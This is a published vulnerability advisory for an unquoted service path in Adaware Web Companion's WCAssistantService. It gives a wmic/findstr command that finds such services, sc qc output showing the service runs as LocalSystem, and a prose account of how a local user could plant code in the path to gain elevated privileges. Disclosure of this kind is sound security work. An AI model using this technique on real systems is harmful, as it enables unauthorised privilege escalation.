Adaware web companion version 4.8.2078.3950 wcassistantservice unquoted service path Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-11-07 | Type : local | Platform : windows
This exploit / vulnerability Adaware web companion version 4.8.2078.3950 wcassistantservice unquoted service path is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Adaware Web Companion version 4.8.2078.3950 - 'WCAssistantService' Unquoted Service Path
# Date: 2019-11-06
# Exploit Author: Mariela L Martínez Hdez
# Vendor Homepage: https://webcompanion.com/en/
# Software Link: https://webcompanion.com/en/
# Version: Adaware Web Companion version 4.8.2078.3950
# Tested on: Windows 10 Home (64 bits)

# 1. Description
# Adaware Web Companion version 4.8.2078.3950 service 'WCAssistantService' has an unquoted service path.

# 2. PoC

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V """"

WC Assistant WCAssistantService C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe Auto

C:\>sc qc WCAssistantService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WCAssistantService
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Lavasoft\Web Companion\Application\Lavasoft.WCAssistant.WinService.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : WC Assistant
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

# 3. Exploit
# A successful attempt would require the local user to be able to insert their code in the system
# root path undetected by the OS or othersecurity applications where it could potentially be executed
# during application startup or reboot. If successful, the local user's code would execute with
# the elevated privileges of the application.